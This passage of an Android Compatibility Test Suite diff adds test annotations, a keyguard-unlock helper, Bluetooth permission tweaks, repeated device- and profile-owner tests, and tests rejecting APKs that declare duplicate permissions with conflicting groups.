  * call UI when a new incoming self-managed call is added when there is already an ongoing managed
  * call or when there is an ongoing self-managed call in another app.
  */
+@ApiTest(apis={"android.telecom.ConnectionService"})
+@CddTest(requirement="7.4.1.2/C-1-2")
 public class SelfManagedIncomingCallTestActivity extends PassFailButtons.Activity {
     private static final String TAG = "SelfManagedIncomingCall";
     private Uri TEST_DIAL_NUMBER_1 = Uri.fromParts("tel", "6505551212", null);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/TelecomDefaultDialerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/TelecomDefaultDialerTestActivity.java
index 2e50d8a..52a5001 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/TelecomDefaultDialerTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/TelecomDefaultDialerTestActivity.java
@@ -27,10 +27,14 @@
 import android.widget.ImageView;
 import android.widget.Toast;
 
+import com.android.compatibility.common.util.ApiTest;
+import com.android.compatibility.common.util.CddTest;
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.managedprovisioning.DeviceAdminTestReceiver;
 
+@ApiTest(apis={"android.telecom.InCallService"})
+@CddTest(requirement="3.2.3.5/C-2-2")
 public class TelecomDefaultDialerTestActivity extends PassFailButtons.Activity {
     private Button mSetDefaultDialer;
     private Button mConfirmLockScreen;
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java
index 3890095..a264eb4 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java
@@ -113,6 +113,8 @@
             doAnswer(answer).when(spy).setEndUserSessionMessage(any(), any());
             doAnswer(answer).when(spy).setLogoutEnabled(any(), anyBoolean());
             doAnswer(answer).when(spy).removeUser(any(), any());
+            doAnswer(answer).when(spy).setMinimumRequiredWifiSecurityLevel(anyInt());
+            doAnswer(answer).when(spy).setWifiSsidPolicy(any());
 
             // Used by DevicePolicySafetyCheckerIntegrationTest
             doAnswer(answer).when(spy).createAndManageUser(any(), any(), any(), any(), anyInt());
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerImpl.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerImpl.java
index 016a006..b17404b 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerImpl.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerImpl.java
@@ -17,7 +17,6 @@
 
 import android.content.ContentResolver;
 import android.content.Context;
-import android.os.UserHandle;
 import android.provider.Settings;
 import android.provider.Settings.SettingNotFoundException;
 import android.util.Log;
@@ -26,11 +25,16 @@
 
     private static final String TAG = GenericManagerImpl.class.getSimpleName();
 
-    private final UserHandle mUser;
+    private String mUser;
     private final ContentResolver mContentResolver;
 
     GenericManagerImpl(Context context) {
-        mUser = context.getUser();
+        try  {
+            mUser = String.valueOf(context.getUser().getIdentifier());
+        } catch (Throwable e) {
+            Log.w(TAG, "Error while extracting User data from " + context + " : " + e);
+            mUser = "N/A";
+        }
         mContentResolver = context.getContentResolver();
     }
 
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java
index cbc83a4..2c59cb7 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java
@@ -149,10 +149,17 @@
             }
 
             Log.e(TAG, "writing event to file: " + event);
-            byte[] eventBytes = event.toBytes();
-            mOutputStream.write(
-                    ByteBuffer.allocate(BYTES_PER_INT).putInt(eventBytes.length).array());
-            mOutputStream.write(eventBytes);
+            try {
+                byte[] eventBytes = event.toBytes();
+                mOutputStream.write(
+                        ByteBuffer.allocate(BYTES_PER_INT).putInt(eventBytes.length).array());
+                mOutputStream.write(eventBytes);
+            } catch (Throwable e) {
+                // This will happen if the event contains a Binder - can't be written to disk
+                Log.e(TAG, "We can't write this event to disk because it contains a Binder "
+                        + "(this may cause errors in tests after this point - particularly related"
+                        + " to EventLib)", e);
+            }
         } catch (IOException e) {
             throw new IllegalStateException("Error writing event to log", e);
         }
diff --git a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureUnlocked.java b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureUnlocked.java
new file mode 100644
index 0000000..536c93f
--- /dev/null
+++ b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureUnlocked.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method requires the keyguard to be dismissed.
+ *
+ * <p>You can use {@code Devicestate} to ensure that the device enters
+ * the correct state for the method.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+public @interface EnsureUnlocked {
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default MIDDLE;
+}
diff --git a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/policies/UserControlDisabledPackages.java b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/policies/UserControlDisabledPackages.java
index c47db87..3c57540 100644
--- a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/policies/UserControlDisabledPackages.java
+++ b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/policies/UserControlDisabledPackages.java
@@ -17,7 +17,9 @@
 package com.android.bedstead.harrier.policies;
 
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
 import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_GLOBALLY;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
 
 import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
 
@@ -28,6 +30,9 @@
  * {@code DevicePolicyManager#setUserControlDisabledPackages(ComponentName, List)} and
  * {@code DevicePolicyManager#getUserControlDisabledPackages(ComponentName)}.
  */
-@EnterprisePolicy(dpc = APPLIED_BY_DEVICE_OWNER | APPLIES_GLOBALLY)
+@EnterprisePolicy(dpc = {
+        APPLIED_BY_DEVICE_OWNER | APPLIES_GLOBALLY,
+        APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER
+})
 public final class UserControlDisabledPackages {
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
index 1b600ed..01b3973 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -59,6 +59,7 @@
 import com.android.bedstead.harrier.annotations.EnsureTestAppHasAppOp;
 import com.android.bedstead.harrier.annotations.EnsureTestAppHasPermission;
 import com.android.bedstead.harrier.annotations.EnsureTestAppInstalled;
+import com.android.bedstead.harrier.annotations.EnsureUnlocked;
 import com.android.bedstead.harrier.annotations.FailureMode;
 import com.android.bedstead.harrier.annotations.OtherUser;
 import com.android.bedstead.harrier.annotations.RequireDoesNotHaveFeature;
@@ -779,6 +780,11 @@
                 continue;
             }
 
+            if (annotation instanceof EnsureUnlocked) {
+                ensureUnlocked();
+                continue;
+            }
+
             if (annotation instanceof EnsurePasswordSet) {
                 EnsurePasswordSet ensurePasswordSetAnnotation =
                         (EnsurePasswordSet) annotation;
@@ -2416,6 +2422,10 @@
         TestApis.device().wakeUp();
     }
 
+    private void ensureUnlocked() {
+        TestApis.device().unlock();
+    }
+
     private void ensurePasswordSet(UserType forUser, String password) {
         UserReference user = resolveUserTypeToUser(forUser);
 
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java
index a92c26e..30a642e 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/bluetooth/Bluetooth.java
@@ -20,6 +20,7 @@
 
 import static com.android.bedstead.nene.permissions.CommonPermissions.BLUETOOTH;
 import static com.android.bedstead.nene.permissions.CommonPermissions.BLUETOOTH_CONNECT;
+import static com.android.bedstead.nene.permissions.CommonPermissions.BLUETOOTH_PRIVILEGED;
 import static com.android.bedstead.nene.permissions.CommonPermissions.INTERACT_ACROSS_USERS_FULL;
 import static com.android.bedstead.nene.permissions.CommonPermissions.NETWORK_SETTINGS;
 import static com.android.bedstead.nene.utils.Versions.T;
@@ -65,7 +66,8 @@
     private void enable() {
             try (PermissionContext p =
                          TestApis.permissions()
-                                 .withPermission(BLUETOOTH_CONNECT, INTERACT_ACROSS_USERS_FULL)
+                                 .withPermission(BLUETOOTH_CONNECT, INTERACT_ACROSS_USERS_FULL,
+                                         BLUETOOTH_PRIVILEGED)
                                  .withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) {
                 BlockingBroadcastReceiver r = BlockingBroadcastReceiver.create(
                         sContext,
@@ -73,12 +75,13 @@
                         this::isStateEnabled).register();
 
                 try {
-                    assertThat(sBluetoothAdapter.enable()).isTrue();
+                    boolean returnValue = sBluetoothAdapter.enable();
 
                     r.awaitForBroadcast();
                     Poll.forValue("Bluetooth Enabled", this::isEnabled)
                             .toBeEqualTo(true)
-                            .errorOnFail()
+                            .errorOnFail("Waited for bluetooth to be enabled."
+                                    + " .enable() returned " + returnValue)
                             .await();
                 } finally {
                     r.unregisterQuietly();
@@ -90,7 +93,8 @@
     private void disable() {
             try (PermissionContext p =
                          TestApis.permissions()
-                                 .withPermission(BLUETOOTH_CONNECT, INTERACT_ACROSS_USERS_FULL)
+                                 .withPermission(BLUETOOTH_CONNECT, INTERACT_ACROSS_USERS_FULL,
+                                         BLUETOOTH_PRIVILEGED)
                                  .withPermissionOnVersionAtLeast(T, NETWORK_SETTINGS)) {
                 BlockingBroadcastReceiver r = BlockingBroadcastReceiver.create(
                         sContext,
@@ -98,12 +102,13 @@
                         this::isStateDisabled).register();
 
                 try {
-                    assertThat(sBluetoothAdapter.disable()).isTrue();
+                    boolean returnValue = sBluetoothAdapter.disable();
 
                     r.awaitForBroadcast();
                     Poll.forValue("Bluetooth Enabled", this::isEnabled)
                             .toBeEqualTo(false)
-                            .errorOnFail()
+                            .errorOnFail("Waited for bluetooth to be disabled."
+                                    + " .disable() returned " + returnValue)
                             .await();
                 } finally {
                     r.unregisterQuietly();
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/device/Device.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/device/Device.java
index 4283eb3..ec58a31 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/device/Device.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/device/Device.java
@@ -23,7 +23,6 @@
 
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.annotations.Experimental;
-import com.android.bedstead.nene.exceptions.AdbException;
 import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.utils.Poll;
 import com.android.bedstead.nene.utils.ShellCommand;
@@ -42,15 +41,11 @@
      * Turn the screen on.
      */
     public void wakeUp() {
-        try {
-            ShellCommand.builder("input keyevent")
-                    .addOperand("KEYCODE_WAKEUP")
-                    .allowEmptyOutput(true)
-                    .validate(String::isEmpty)
-                    .execute();
-        } catch (AdbException e) {
-            throw new NeneException("Error waking up device", e);
-        }
+        ShellCommand.builder("input keyevent")
+                .addOperand("KEYCODE_WAKEUP")
+                .allowEmptyOutput(true)
+                .validate(String::isEmpty)
+                .executeOrThrowNeneException("Error waking up device");
 
         Poll.forValue("isScreenOn", this::isScreenOn)
                 .toBeEqualTo(true)
@@ -59,6 +54,16 @@
     }
 
     /**
+     * Dismiss the keyguard.
+     */
+    public void unlock() {
+        ShellCommand.builder("wm dismiss-keyguard")
+                .allowEmptyOutput(true)
+                .validate(String::isEmpty)
+                .executeOrThrowNeneException("Error dismissing keyguard");
+    }
+
+    /**
      * Set the screen on setting.
      *
      * <p>When enabled, the device will never sleep.
@@ -72,10 +77,7 @@
                 .allowEmptyOutput(true)
                 .validate(String::isEmpty)
                 .executeOrThrowNeneException("Error setting stayOn");
-        ShellCommand.builder("wm dismiss-keyguard")
-                .allowEmptyOutput(true)
-                .validate(String::isEmpty)
-                .executeOrThrowNeneException("Error dismissing keyguard");
+        unlock();
     }
 
     /**
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Flake.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Flake.java
new file mode 100644
index 0000000..5fe86e9
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Flake.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+/**
+ * Utilities for dealing with flakes.
+ *
+ * <p>Calls to this code should be removed and the core cause of the flake fixed. Using this class
+ * is not a permanent solution to any flakes.
+ */
+public final class Flake {
+    private Flake() {
+
+    }
+
+    /**
+     * Repeat {@code r} some number of times.
+     */
+    public static void repeat(Runnable r, int times) {
+        for (int i = 0; i < times; i++) {
+            r.run();
+        }
+    }
+
+    /**
+     * Repeat {@code r} 10 times.
+     */
+    public static void repeat(Runnable r) {
+        repeat(r, 10);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Versions.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Versions.java
index 8444cb2..bd37257 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Versions.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Versions.java
@@ -34,13 +34,14 @@
 
     private static final String TAG = "Versions";
 
-    public static final int T = CUR_DEVELOPMENT;
+    public static final int T = Build.VERSION_CODES.TIRAMISU;
+    public static final int U = Build.VERSION_CODES.CUR_DEVELOPMENT;
 
     /** Any version. */
     public static final int ANY = -1;
 
     private static final ImmutableSet<String> DEVELOPMENT_CODENAMES =
-            ImmutableSet.of("Sv2", "T", "Tiramisu");
+            ImmutableSet.of("UpsideDownCake");
 
     private Versions() {
 
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DeviceOwnerTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DeviceOwnerTest.java
index f19cc7a..067a743 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DeviceOwnerTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DeviceOwnerTest.java
@@ -94,4 +94,16 @@
             assertThat(TestApis.devicePolicy().getDeviceOwner()).isNull();
         }
     }
+
+    @Test
+    @EnsureHasNoDpc
+    public void setAndRemoveDeviceOwnerRepeatedly_doesNotThrowError() {
+        try (TestAppInstance dpc = sNonTestOnlyDpc.install()) {
+            for (int i = 0; i < 100; i++) {
+                DeviceOwner deviceOwner = TestApis.devicePolicy()
+                        .setDeviceOwner(NON_TEST_ONLY_DPC_COMPONENT_NAME);
+                deviceOwner.remove();
+            }
+        }
+    }
 }
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/ProfileOwnerTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/ProfileOwnerTest.java
index f2f460c..b69e2ee 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/ProfileOwnerTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/ProfileOwnerTest.java
@@ -27,8 +27,10 @@
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.EnsureHasPermission;
+import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
 import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
 import com.android.bedstead.harrier.annotations.RequireRunNotOnSecondaryUser;
+import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
 import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
 import com.android.bedstead.harrier.annotations.RequireSdkVersion;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDpc;
@@ -113,6 +115,22 @@
     }
 
     @Test
+    @EnsureHasNoDpc
+    @EnsureHasNoWorkProfile
+    @RequireRunOnPrimaryUser
+    public void setAndRemoveProfileOwnerRepeatedly_doesNotThrowError() {
+        try (UserReference profile = TestApis.users().createUser().createAndStart()) {
+            try (TestAppInstance dpc = sNonTestOnlyDpc.install()) {
+                for (int i = 0; i < 100; i++) {
+                    ProfileOwner profileOwner = TestApis.devicePolicy().setProfileOwner(
+                            TestApis.users().instrumented(), NON_TEST_ONLY_DPC_COMPONENT_NAME);
+                    profileOwner.remove();
+                }
+            }
+        }
+    }
+
+    @Test
     @EnsureHasSecondaryUser
     @RequireRunNotOnSecondaryUser
     public void remove_onOtherUser_removesProfileOwner() {
diff --git a/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
index 3d8e256..8f0778d 100644
--- a/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
+++ b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
@@ -67,7 +67,8 @@
     @Override
     public Activity instantiateActivity(ClassLoader classLoader, String className, Intent intent)
             throws InstantiationException, IllegalAccessException, ClassNotFoundException {
-
+        Log.e(LOG_TAG, "Initiating activity for class "
+                + className + " and intent " + intent);
         try {
             return super.instantiateActivity(classLoader, className, intent);
         } catch (ClassNotFoundException e) {
@@ -85,6 +86,8 @@
     public BroadcastReceiver instantiateReceiver(ClassLoader classLoader, String className,
             Intent intent)
             throws InstantiationException, IllegalAccessException, ClassNotFoundException {
+        Log.e(LOG_TAG, "Initiating receiver for class "
+                + className + " and intent " + intent);
         try {
             return super.instantiateReceiver(classLoader, className, intent);
         } catch (ClassNotFoundException e) {
@@ -121,6 +124,8 @@
     @Override
     public Service instantiateService(ClassLoader classLoader, String className, Intent intent)
             throws InstantiationException, IllegalAccessException, ClassNotFoundException {
+        Log.e(LOG_TAG, "Initiating service for class "
+                + className + " and intent " + intent);
         try {
             return super.instantiateService(classLoader, className, intent);
         } catch (ClassNotFoundException e) {
diff --git a/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/AppCloningHostTest.java b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/AppCloningHostTest.java
index e8da4b0..c3dfb95 100644
--- a/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/AppCloningHostTest.java
+++ b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/AppCloningHostTest.java
@@ -119,6 +119,8 @@
      */
     @Test
     public void testRemoveClonedProfileMediaProviderCleanup() throws Exception {
+        assumeTrue(isAtLeastT());
+
         String cloneProfileImage = NONCE + "cloneProfileImage.png";
 
         // Inserting blank image in clone profile
@@ -178,6 +180,8 @@
 
     @Test
     public void testCrossUserMediaAccess() throws Exception {
+        assumeTrue(isAtLeastT());
+
         // Install the app in both the user spaces
         installPackage(APP_A, "--user all");
 
diff --git a/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java b/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java
index 37c7b2d..c0b098a 100644
--- a/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java
+++ b/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java
@@ -178,6 +178,8 @@
         // remove volumes that belong to owner profile
         volumeListIncludingShared.removeAll(volumeList);
 
+        assertThat(volumeListIncludingShared.size()).isGreaterThan(0);
+
         // remaining volumes should belong to the clone user.
         for (StorageVolume vol : volumeListIncludingShared) {
             assertThat(vol.getOwner().getIdentifier()).isEqualTo(cloneUserId);
diff --git a/hostsidetests/appsearch/src/android/appsearch/cts/ContactsIndexerMultiUserTest.java b/hostsidetests/appsearch/src/android/appsearch/cts/ContactsIndexerMultiUserTest.java
index 6ebd2b1..7fba4c9 100644
--- a/hostsidetests/appsearch/src/android/appsearch/cts/ContactsIndexerMultiUserTest.java
+++ b/hostsidetests/appsearch/src/android/appsearch/cts/ContactsIndexerMultiUserTest.java
@@ -40,7 +40,6 @@
 public class ContactsIndexerMultiUserTest extends AppSearchHostTestBase {
 
     private static int sSecondaryUserId;
-    private static int sTertiaryUserId;
 
     @BeforeClassWithInfo
     public static void setUpClass(TestInformation testInfo) throws Exception {
@@ -49,8 +48,6 @@
 
         sSecondaryUserId = testInfo.getDevice().createUser("Test User #1");
         assertThat(testInfo.getDevice().startUser(sSecondaryUserId)).isTrue();
-        sTertiaryUserId = testInfo.getDevice().createUser("Test User #2");
-        assertThat(testInfo.getDevice().startUser(sTertiaryUserId)).isTrue();
     }
 
     @Before
@@ -58,11 +55,7 @@
         if (!getDevice().isUserRunning(sSecondaryUserId)) {
             getDevice().startUser(sSecondaryUserId, /*waitFlag=*/ true);
         }
-        if (!getDevice().isUserRunning(sTertiaryUserId)) {
-            getDevice().startUser(sTertiaryUserId, /*waitFlag=*/ true);
-        }
         installPackageAsUser(TARGET_APK_A, /*grantPermission=*/ true, sSecondaryUserId);
-        installPackageAsUser(TARGET_APK_A, /*grantPermission=*/ true, sTertiaryUserId);
     }
 
     @AfterClassWithInfo
@@ -70,9 +63,6 @@
         if (sSecondaryUserId > 0) {
             testInfo.getDevice().removeUser(sSecondaryUserId);
         }
-        if (sTertiaryUserId > 0) {
-            testInfo.getDevice().removeUser(sTertiaryUserId);
-        }
     }
 
     @Test
@@ -80,8 +70,5 @@
         runContactsIndexerDeviceTestAsUserInPkgA("testFullUpdateJobIsScheduled",
                 sSecondaryUserId,
                 Collections.singletonMap(USER_ID_KEY, String.valueOf(sSecondaryUserId)));
-        runContactsIndexerDeviceTestAsUserInPkgA("testFullUpdateJobIsScheduled",
-                sTertiaryUserId,
-                Collections.singletonMap(USER_ID_KEY, String.valueOf(sTertiaryUserId)));
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index a0137dc..005ada5 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -96,6 +96,15 @@
     private static final String DUPLICATE_PERMISSION_SAME_PROTECTION_LEVEL_PKG =
             "com.android.cts.duplicatepermission.sameprotectionlevel";
 
+    private static final String DUPLICATE_PERMISSION_DIFFERENT_PERMISSION_GROUP_APK =
+            "CtsMalformedDuplicatePermission_DifferentPermissionGroup.apk";
+    private static final String DUPLICATE_PERMISSION_DIFFERENT_PERMISSION_GROUP_PKG =
+            "com.android.cts.duplicatepermission.differentpermissiongroup";
+    private static final String DUPLICATE_PERMISSION_SAME_PERMISSION_GROUP_APK =
+            "CtsDuplicatePermission_SamePermissionGroup.apk";
+    private static final String DUPLICATE_PERMISSION_SAME_PERMISSION_GROUP_PKG =
+            "com.android.cts.duplicatepermission.samepermissiongroup";
+
     private static final String LOG_TAG = "AppSecurityTests";
 
     @Before
@@ -347,11 +356,13 @@
     public void testAdbInstallFile_full() throws Exception {
         testAdbInstallFile(false);
     }
+
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testAdbInstallFile_instant() throws Exception {
         testAdbInstallFile(true);
     }
+
     private void testAdbInstallFile(boolean instant) throws Exception {
         String output = getDevice().executeShellCommand(
                 "cmd package install"
@@ -399,4 +410,34 @@
             getDevice().uninstallPackage(DUPLICATE_PERMISSION_SAME_PROTECTION_LEVEL_PKG);
         }
     }
+
+    /**
+     * Tests that a single APK declaring duplicate permissions with different permission group
+     * cannot be installed.
+     */
+    @Test
+    public void testInstallDuplicatePermission_differentPermissionGroup_fail() throws Exception {
+        try {
+            new InstallMultiple(false /* instant */)
+                    .addFile(DUPLICATE_PERMISSION_DIFFERENT_PERMISSION_GROUP_APK)
+                    .runExpectingFailure("INSTALL_PARSE_FAILED_MANIFEST_MALFORMED");
+        } finally {
+            getDevice().uninstallPackage(DUPLICATE_PERMISSION_DIFFERENT_PERMISSION_GROUP_PKG);
+        }
+    }
+
+    /**
+     * Tests that a single APK declaring duplicate permissions with the same permission group
+     * can be installed.
+     */
+    @Test
+    public void testInstallDuplicatePermission_samePermissionGroup_success() throws Exception {
+        try {
+            new InstallMultiple(false /* instant */)
+                    .addFile(DUPLICATE_PERMISSION_SAME_PERMISSION_GROUP_APK)
+                    .run(true /* expectingSuccess */);
+        } finally {
+            getDevice().uninstallPackage(DUPLICATE_PERMISSION_SAME_PERMISSION_GROUP_PKG);
+        }
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/DuplicatePermissionSameGroup/Android.bp b/hostsidetests/appsecurity/test-apps/DuplicatePermissionSameGroup/Android.bp
new file mode 100644
index 0000000..037aab2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DuplicatePermissionSameGroup/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsDuplicatePermission_SamePermissionGroup",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    // Use the same cert as the app that also defined the permission
+    certificate: ":cts-testkey1",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "sts",
+        "general-tests",
+    ],
+    min_sdk_version: "29",
+    target_sdk_version: "29",
+}
diff --git a/hostsidetests/appsecurity/test-apps/DuplicatePermissionSameGroup/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/DuplicatePermissionSameGroup/AndroidManifest.xml
new file mode 100644
index 0000000..606be49
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DuplicatePermissionSameGroup/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2022 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
